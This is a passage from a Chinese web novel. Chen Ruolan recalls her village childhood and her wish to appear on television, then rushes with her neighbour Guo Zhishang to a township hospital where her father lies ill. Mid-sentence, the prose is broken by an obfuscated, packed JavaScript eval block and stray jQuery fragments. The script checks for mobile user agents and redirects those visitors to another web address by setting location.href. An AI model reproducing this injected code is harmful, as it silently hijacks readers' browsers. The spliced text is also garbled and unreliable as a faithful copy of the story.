“你当然不知道啦。”陈若兰睁开了眼，表情还是笑着，却在眼里读出了复杂的情绪，“你们这些含着金汤匙出生的公子哥大小姐们，怎么可能知道这些。”


    时序没去过农村，他只在照片里见过。


    在周芳礼还不是“领导”的时候，她跟着领导到农村，去乡镇走访慰问，他把刊登在报纸上的照片一张一张裁剪下来，贴在本子上。


    后来周芳礼当上了领导，家里的温度就消失了。


    她的温度都给了地方，给了企业，给了报纸，给了电视。


    手抄报的本子最后也不知道去哪了。


    曾经，语文老师让用一个词形容妈妈，陈煜说妈妈是“暴躁的母老虎”，方俏俏说妈妈是“温柔美丽的女王”。


    当他被叫起来时，时序想了很久，他说，妈妈是雕塑，冰冷、坚硬。


    -


    “不用上学的时候，我就得跟着父母去种地，穿那种劣质的凉鞋，脚踩在过了水的土里一天，再拔出来的时候鞋带就断了。”


    “后来，村长说上面的领导要来走访慰问，村里面要出个机灵漂亮的小孩，要跟领导合影，可能会上电视。你猜村长选了谁？”


    没等时序开口，陈若兰就自己回答，“我爸为了能在电视上看见我，连夜去镇上买了台彩电，以前我们家都用的黑白的。”陈若兰的笑很纯粹，“结果发现，这台电视一共只能看三个频道，CCTV1，CCTV2和CCTV13。”


    家里到底没有看见她。


    “后来听村长说，我就露脸了两秒不到吧，但已经变成了全村的明星，以后村里有这种活动，都喊我去。他们都管我叫小张曼玉，可我那时候连张曼玉是谁都不知道。”


    陈若兰早不记得那个跟她握手，鼓励她好好学习的领导长什么了。


    但她仍记得，当那个黑漆漆的反着光的镜头对着她，她的心倏地紧张起来，连村长交代她的话都一股脑全飘远。


    父母都隐在人群里，连根头发丝都没找到，只看到一排排冲着领导傻乐的大牙，于是她就呲着牙傻笑。


    “我想试试，去一个能让我爸我妈能在电视里看见我的地方。”


    “现在网络很发达了，什么信息都能搜到。”时序提醒她。


    “我知道。”陈若兰不满地嘟了嘟嘴，“他们不信那个，觉得都是骗人的。他们只信电视盒报纸。”


    “也不是每个明星都能上央视。”


    “所以我要努力站在更高的位置。”


    陈若兰依旧脸贴着桌面，冲时序笑，一排洁白的牙齿明晃晃的，“你信我吧？”


    头顶有气无力的吊扇，“吱吱”发出噪音的灯管，楼上偶尔传来的呻.吟声，在此刻统统归为虚无。


    时序摩挲着手中塑料质感的笔杆，点头：“嗯。我信你。”


    -


    陈若兰第三次按亮机锁屏时，郭志商出声安抚：“还有不到四十分钟，你先别着急，我尽量开快一点。”


    车载香薰混着邻座男人身上的气息，在空调出风口结成细小的雾珠。


    “真是太麻烦你了。”声音里压抑着不易察觉的颤抖。


    陈若兰偏过头，看着霓虹初上的城市像一块发光的铁盒子，一个又一个被甩到身后，五颜六色的霓虹灯透过车窗玻璃，争先恐后映在她紧蹙的眉头上。


    “陈小姐不必太客气，我们是邻居，相互帮助是应该的。”


    陈若兰有一丝丝的懊恼，她之前还在自作多情，恶作剧般毫不留情面地问他是否是在追她，哪知郭志商也很体面，说“爱美之心人皆有之”，陈若兰还盘算着如何拒绝对方，她妈妈的电话就打了过来。


    信号一断一断的，带着哭腔说得并不清楚，陈若兰就听到“你爸晕倒了”“已经送到乡镇医院”。


    人肉眼可见的慌乱起来，还是郭志商问清楚了是怎么回事。


    饭正好不用吃了，陈若兰门都没来得及关就回屋去拿包。


    郭志商问她怎么过去，时间已是傍晚，去坐大巴也不一定能赶上。


    陈若兰站定，掏出手机打车，光路程就得一个来小时，空车回来那么远，又是偏远的乡镇，司机不一定愿意跑。


    郭志商将人拦住：“我有车，地址发我，我送你。”


    高架桥的LED光带开始变得稀疏，车窗外的天际线渐渐矮了下去，取而代之的是褪色的广告牌。


    临街五金店用红漆写着“修


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392787|168617||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    锁配匙”，穿碎花睡裤的女人正踮脚收挂在室外晾衣杆上的衣服，骑着三轮车收废品的老头在暮色里慢悠悠地蹬车。


    转过最后一个弯道，褪色的白漆墙面上，“青桐镇第一人民医院”九个大字出现在眼前。


    车轮尚未停稳，陈若兰已经迫不及待打开车门。


    鞋底踩在返潮的水泥地上，沾了一脚的泥泞。她踉跄了一步，被跟在身后的郭志商及时扶住。


    “那边那位女士，走廊里不让奔跑！”护士高声拦住冲进住院区的身影。


    陈若兰闻言，掉转方向，几乎是撞到护士站的前台，掌心重重拍在值班台边沿，奔跑时带起的风掀起护士站的登记簿。


    “你找哪个病房？”护士的圆珠笔尖悬在登记簿上。


    “陈新国，心内科刚转来的。”陈若兰抹开黏在颈侧的碎发，呼吸有些急促，看护士操作着鼠标滑动滚轮，镜片里映出白色的界面。


    走廊传来推车轮子摩擦地面的“吱呀”声。


    “兰兰？”陈若兰听见一声沙哑的试探。


    陈若兰闻声转过头。


    许蕙的身影被走廊顶灯压得格外瘦小。蓝色塑料外壳的暖水瓶在她右手摇晃，另一只手则牢牢地抱着一只塑料的洗脸盆。


    走廊内，消毒水的味道突然刺得鼻腔生疼，眼眶也忍不住跟着泛酸。


    “怎么拿这么多东西。”陈若兰三步并作两步走上前，抬手就要将许蕙手中的盆和水壶都接过来，“我来，妈。”


    “给你爸用热水烫了烫洗脸盆，用着干净。”


    许蕙只将几乎没什么重量的塑料洗脸盆递过去，却将暖水瓶往自己怀里带了带，执拗地坚持自己拎着。


    “我爸怎么样了？”陈若兰问。


    “没什么大事，怪我电话里没说清楚，让你直接就过来了。”


    “那是我爸，我能不着急吗！”


    走廊内偶有路过的护士和病人，只多看了两眼陈若兰，许蕙就变得紧张起来，她反复摸索着口袋，也没找到一只口罩。


    “你是个公众人物，我和你爸怕连累了你。”


    陈若兰咬住下嘴唇，喉咙发紧，推开房间门时，她低声反驳：“早就已经不是了。”